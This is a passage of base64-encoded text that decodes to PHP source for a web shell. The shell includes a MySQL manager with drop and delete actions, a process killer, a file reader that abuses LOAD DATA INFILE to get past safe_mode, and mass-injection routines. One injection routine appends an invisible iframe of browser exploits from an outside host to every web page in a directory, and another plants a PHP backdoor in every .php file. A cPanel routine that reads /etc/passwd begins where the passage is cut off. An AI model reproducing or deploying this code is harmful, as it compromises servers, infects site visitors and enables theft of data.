9iPjwvdGQ+PC90cj4iOw0KICAgICAgJGkgPSAwOw0KICAgICAgJHRzaXplID0gJHRyb3dzID0gMDsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKQ0KICAgICAgew0KICAgICAgICR0c2l6ZSArPSAkcm93WyJEYXRhX2xlbmd0aCJdOw0KICAgICAgICR0cm93cyArPSAkcm93WyJSb3dzIl07DQogICAgICAgJHNpemUgPSB2aWV3X3NpemUoJHJvd1siRGF0YV9sZW5ndGgiXSk7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94dGJsW11cIiB2YWx1ZT1cIiIuJHJvd1siTmFtZSJdLiJcIj48L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkcm93WyJOYW1lIl0pLiJcIj48Yj4iLiRyb3dbIk5hbWUiXS4iPC9iPjwvYT4mbmJzcDs8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siUm93cyJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siVHlwZSJdLiI8L3RkPiI7DQogICAgICAgZWNobyAiPHRkPiIuJHJvd1siQ3JlYXRlX3RpbWUiXS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbIlVwZGF0ZV90aW1lIl0uIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8dGQ+Ii4kc2l6ZS4iPC90ZD4iOw0KICAgICAgIGVjaG8gIjx0ZD4mbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXF1ZXJ5JnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZW1wdHlcIiBhbHQ9XCJFbXB0eVwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfcXVlcnk9Ii51cmxlbmNvZGUoIkRST1AgVEFCTEUgYCIuJHJvd1siTmFtZSJdLiJgIikuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNxbF9idXR0b25fZHJvcFwiIGFsdD1cIkRyb3BcIiBoZWlnaHQ9XCIxM1wiIHdpZHRoPVwiMTFcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIuJHJvd1siTmFtZSJdLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zcWxfYnV0dG9uX2luc2VydFwiIGFsdD1cIkluc2VydFwiIGhlaWdodD1cIjEzXCIgd2lkdGg9XCIxMVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PC90ZD4iOw0KICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyIGJnY29sb3I9XCIwMDAwMDBcIj4iOw0KICAgICAgZWNobyAiPHRkPjxjZW50ZXI+PGI+KzwvYj48L2NlbnRlcj48L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGNlbnRlcj48Yj4iLiRpLiIgdGFibGUocyk8L2I+PC9jZW50ZXI+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPjxiPiIuJHRyb3dzLiI8L2I+PC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxXS4iPC90ZD4iOw0KICAgICAgZWNobyAiPHRkPiIuJHJvd1sxMF0uIjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD4iLiRyb3dbMTFdLiI8L3RkPiI7DQogICAgICBlY2hvICI8dGQ+PGI+Ii52aWV3X3NpemUoJHRzaXplKS4iPC9iPjwvdGQ+IjsNCiAgICAgIGVjaG8gIjx0ZD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj48c2VsZWN0IG5hbWU9XCJzcWxfeFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cInRibGRyb3BcIj5Ecm9wPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxlbXB0eVwiPkVtcHR5PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxkdW1wXCI+RHVtcDwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsY2hlY2tcIj5DaGVjayB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJsb3B0aW1pemVcIj5PcHRpbWl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwidGJscmVwYWlyXCI+UmVwYWlyIHRhYmxlPC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJ0YmxhbmFseXplXCI+QW5hbHl6ZSB0YWJsZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICAgfQ0KICB9DQogIGVsc2Ugew0KICAgJGFjdHMgPSBhcnJheSgiIiwibmV3ZGIiLCJzZXJ2ZXJzdGF0dXMiLCJzZXJ2ZXJ2YXJzIiwicHJvY2Vzc2VzIiwiZ2V0ZmlsZSIpOw0KICAgaWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHs/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0ic3FsIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5ld2RiIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbmV3ZGIiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5WaWV3IEZpbGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF94IiB2YWx1ZT0iZ2V0ZmlsZSI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2dldGZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48P3BocCB9DQogICBpZiAoIWVtcHR5KCRzcWxfeCkpIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRzcWxfeCA9PSAibmV3ZGIiKSB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+Ijt9DQogICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVyc3RhdHVzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXItc3RhdHVzIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT48L2NlbnRlcj4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAic2VydmVydmFycyIpIHsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFZBUklBQkxFUyIsICRzcWxfc29jayk7DQogICAgIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHZhcmlhYmxlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkge2VjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PC90cj4iO30NCiAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICB9DQogICAgaWYgKCRzcWxfeCA9PSAicHJvY2Vzc2VzIikgew0KICAgICBpZiAoIWVtcHR5KCRraWxsKSkgew0KICAgICAgICRxdWVyeSA9ICJLSUxMICIuJGtpbGwuIjsiOw0KICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7DQogICAgICAgZWNobyAiPGI+UHJvY2VzcyAjIi4ka2lsbC4iIHdhcyBraWxsZWQuPC9iPiI7DQogICAgIH0NCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5Qcm9jZXNzZXM6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MiBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF94PXByb2Nlc3NlcyZraWxsPSIuJHJvd1swXS4iXCI+PHU+S2lsbDwvdT48L2E+PC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJnZXRmaWxlIikNCiAgICB7DQogICAgICR0bXBkYiA9ICRzcWxfbG9naW4uIl90bXBkYiI7DQogICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgaWYgKCEkc2VsZWN0KSB7bXlzcWxfY3JlYXRlX2RiKCR0bXBkYik7ICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsgJGNyZWF0ZWQgPSAhISRzZWxlY3Q7fQ0KICAgICBpZiAoJHNlbGVjdCkNCiAgICAgew0KICAgICAgJGNyZWF0ZWQgPSBGQUxTRTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJDUkVBVEUgVEFCTEUgYHRtcF9maWxlYCAoIGBWaWV3aW5nIHRoZSBmaWxlIGluIHNhZmVfbW9kZStvcGVuX2Jhc2VkaXJgIExPTkdCTE9CIE5PVCBOVUxMICk7Iik7DQogICAgICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIuYWRkc2xhc2hlcygkc3FsX2dldGZpbGUpLiJcIiBJTlRPIFRBQkxFIHRtcF9maWxlIik7DQogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdG1wX2ZpbGU7Iik7DQogICAgICBpZiAoISRyZXN1bHQpIHtlY2hvICI8Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iO30NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpO30NCiAgICAgICAkZiA9ICIiOw0KICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpKSB7JGYgLj0gam9pbiAoIlxyXG4iLCRyb3cpO30NCiAgICAgICBpZiAoZW1wdHkoJGYpKSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIiBkb2VzIG5vdCBleGlzdHMgb3IgZW1wdHkhPC9iPjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjwvYj48YnI+Ii5ubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkuIjxicj4iO30NCiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSB0bXBfZmlsZTsiKTsNCiAgICAgIH0NCiAgICAgfQ0KICAgICBteXNxbF9kcm9wX2RiKCR0bXBkYik7IA0KICAgIH0NCiAgIH0NCiAgfQ0KfQ0KZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCmlmICgkc3FsX3NvY2spIHsNCiAgJGFmZmVjdGVkID0gQG15c3FsX2FmZmVjdGVkX3Jvd3MoJHNxbF9zb2NrKTsNCiAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkpeyRhZmZlY3RlZCA9IDA7fQ0KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93cyA6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsNCn0NCmVjaG8gIjwvdGFibGU+IjsNCn0NCg0KaWYgKCR4ID09ICdtYXNzYnJvd3NlcnNwbG9pdCcpIHsNCj8+DQoNCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgSFRNTCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAsIC5odG0sIGFuZCAuaHRtbCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJnb2FoZWFkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPElGUkFNRSBzcmM9Imh0dHA6Ly93d3cuZngwLm5hbWUiIHdpZHRoPTAgaGVpZ2h0PTAgZnJhbWVib3JkZXI9MD48L0lGUkFNRT4nKTsgPz48L3RleHRhcmVhPiA8LS0gYmVzdCBiZXQgd291bGQgYmUgdG8gaW5jbHVkZSBhbiBpbnZpc2libGUgaWZyYW1lIG9mIGJyb3dzZXIgZXhwbG9pdHM8L3RkPjwvdHI+DQoNCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAnZ29haGVhZCcpIHsNCglpZiAoaXNfZGlyKCRfR0VUWydwYXRodG9tYXNzJ10pKSB7DQoJCSRsb2xpbmplY3QgPSAkX0dFVFsnaW5qZWN0dGhpcyddOw0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLnBocCIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5qZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9Z3JlZW4+Jy4kaW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPjwvZm9udD4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyouaHRtIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLmh0bWwiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+ZmFpbGVkIHRvIGluamVjdCAnLiRpbmplY3RqMDAuJzwvZm9udD4nOw0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsgLy9lbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwgLS0gaWYgbm90LCBzaG93IGFuIHVnbHkgcmVkIGVycm9yDQoJCWVjaG8gJzxiPjxmb250IGNvbG9yPXJlZD4nLiRfR0VUWydwYXRodG9tYXNzJ10uJyBpcyBub3QgYXZhaWxhYmxlITwvZm9udD48L2I+JzsNCgl9IC8vIGVuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCwgZm9yIHJlYWwgdGhpcyB0aW1lDQp9IC8vIGVuZCBpZiBjb25maXJtYXRpb24gdG8gbWFzcyBzcGxvaXQgaXMgZ28NCg0KLy9uZXcgcGhwIGJhY2tkb29yDQo/Pg0KPGI+TWFzcyBDb2RlIEluamVjdGlvbjo8L2I+PGJyPjxicj4NCg0KVXNlIHRoaXMgdG8gYWRkIFBIUCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAgcGFnZSBpbiB0aGUgZGlyZWN0b3J5IHNwZWNpZmllZC48YnI+PGJyPg0KPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJtYXNzc3Bsb2l0IiB2YWx1ZT0icGhwIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPD9waHAgaWYgKCRfR0VUWyJ4Il0gPT0gImx1bCIpIHsgLypjb2RlKi87IH0gPz4nKTsgPz48L3RleHRhcmVhPjwvdGQ+PC90cj4NCjx0cj48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbmplY3QgQ29kZSI+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQppZiAoJF9HRVRbJ21hc3NzcGxvaXQnXSA9PSAncGhwJykgew0KCWlmIChpc19kaXIoJF9HRVRbJ3BhdGh0b21hc3MnXSkpIHsNCgkJJGxvbGluamVjdCA9ICRfR0VUWydpbmplY3R0aGlzJ107DQoJCWZvcmVhY2ggKGdsb2IoJF9HRVRbJ3BhdGh0b21hc3MnXS4iLyoucGhwIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj4nLiRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+PC9mb250Pic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJCQl9DQoJCX0NCgl9IGVsc2UgeyAvL2VuZCBpZiBpbnB1dHRlZCBkaXIgaXMgcmVhbCAtLSBpZiBub3QsIHNob3cgYW4gdWdseSByZWQgZXJyb3INCgkJZWNobyAnPGI+PGZvbnQgY29sb3I9cmVkPicuJF9HRVRbJ3BhdGh0b21hc3MnXS4nIGlzIG5vdCBhdmFpbGFibGUhPC9mb250PjwvYj4nOw0KCX0gLy8gZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsLCBmb3IgcmVhbCB0aGlzIHRpbWUNCn0gLy8gZW5kIGlmIGNvbmZpcm1hdGlvbiB0byBtYXNzIHNwbG9pdCBpcyBwaHAgb25seQ0KDQoNCn0gLy8gZW5kIGlmIG1hc3Nicm93c2Vyc3Bsb2l0IGlzIGNhbGxlZA0KDQoNCg0KDQoNCmlmICgkeCA9PSAnY3BhbmVsJyl7DQoJaWYgKCRfR0VUWydnbyddID09ICdnbycpew0KCXNldF90aW1lX2xpbWl0KDApOw0KCSMjIyMjIyMjIyMjIyMjIyMjIw0KCUAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCglpZiAoISRwYXNzd2QpIHsNCgkgICBlY2hvICJbLV0gRXJyb3IgOiBjb3Vkbid0IHJ